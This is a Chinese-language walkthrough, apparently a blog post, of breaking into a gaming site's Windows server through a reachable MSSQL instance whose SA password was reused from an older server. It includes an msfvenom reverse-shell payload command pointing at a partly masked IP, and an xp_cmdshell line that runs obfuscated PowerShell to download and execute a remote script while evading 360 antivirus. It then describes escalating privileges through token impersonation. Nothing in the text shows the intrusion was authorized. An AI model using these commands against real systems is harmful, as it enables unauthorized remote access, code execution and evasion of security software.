0x01 前言
这个案例是帮“ChaBug”群里一个朋友看的,说是某QP站点,直接是个支持外链的MSSQL,但不是弱口令,SA密码是在以前的服务器上找到的,这台机器应该是刚搬迁过来的服务器,用了原来的SA密码,所以可以直接远程连接,并支持xp_cmdshell执行命令,未做站库分离处理!
0x02 信息搜集
目标机器基本信息:
目标系统:Windows Server 2012 R2(Apache2.4.23 + PHP7.1.9) 数据库版本:Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) 当前权限:nt service\mssqlserver 开放端口:80、135、1433、2383、3306、3389、22222(Tomcat/8.5.42)...... 进程名称:phpStudy.exe、http.exe、httpd.exe、mysqld.exe、navicat.exe、androidLoad.exe、GameServer.exe(游戏服务端)、LogServer.exe(日志服务)、redis-cli.exe(redis客户端)、redis-server.exe(redis服务端)、Tomcat8.new.exe(Tomcat8.new服务)、Tomcat8.neww.exe、sqlservr.exe(MSSQL服务端)、ZhuDongFangYu.exe(360主动防御)......
将目标机器的进程列表拿到开源的“Windows杀软在线对比辅助”上进行对比发现存在360主动防御的进程,当前权限为nt service\mssqlserver。
0x03 实战提权过程
根据他的描述说是项目站点放在C盘,但是在当前权限下不能用dir命令查看C盘下的文件,会提示“拒绝访问。”,只能查看D盘下的文件,经过测试发现确实如此,但他的思路局限于非得找到网站绝对路径,写入Webshell后再进行权限提升,其实大可不必这样。
而我的思路就是直接利用MSF的web_delivery或hta_server模块来获取一个Meterpreter会话,然后再进行权限提升即可。但是在测试过程中也遇到一点小问题,web_delivery执行时出现“标识符太长”的报错,hta_server执行底层powershell.exe时被360的进程防护给拦截了。
这里我们重新生成一个psh-reflection格式的Payload,然后再用xp_cmdshell来执行经过混淆后的Powershell远程执行ps1脚本命令,可以看到已经成功获取到目标机器会话了,其实这也就是这篇文章中主要讲的利用Powershell命令混淆来绕过360进程防护拦截。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=39.**.**.238 LPORT=443 -f psh-reflection > /tmp/360.ps1
exec master.dbo.xp_cmdshell "powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a+$b)"
获取到会话后可直接使用Incognito扩展来进行权限提升,因为目标机器上有在运行navicat.exe数据库连接工具,并以Windows身份验证的方式连接的MSSQL,所以会拥有高权限令牌。
注:通过前期的信息搜集得知里边还运行着phpStudy、Tomcat,它们默认都是以高权限运行的,所以也可以尝试找到绝对路径往里边写一个Webshell来进行权限提升,不过这个案例中禁止当前权限读取C盘下的文件,写入权限就更不用说了,这里仅为大家扩展这么一种提权思路。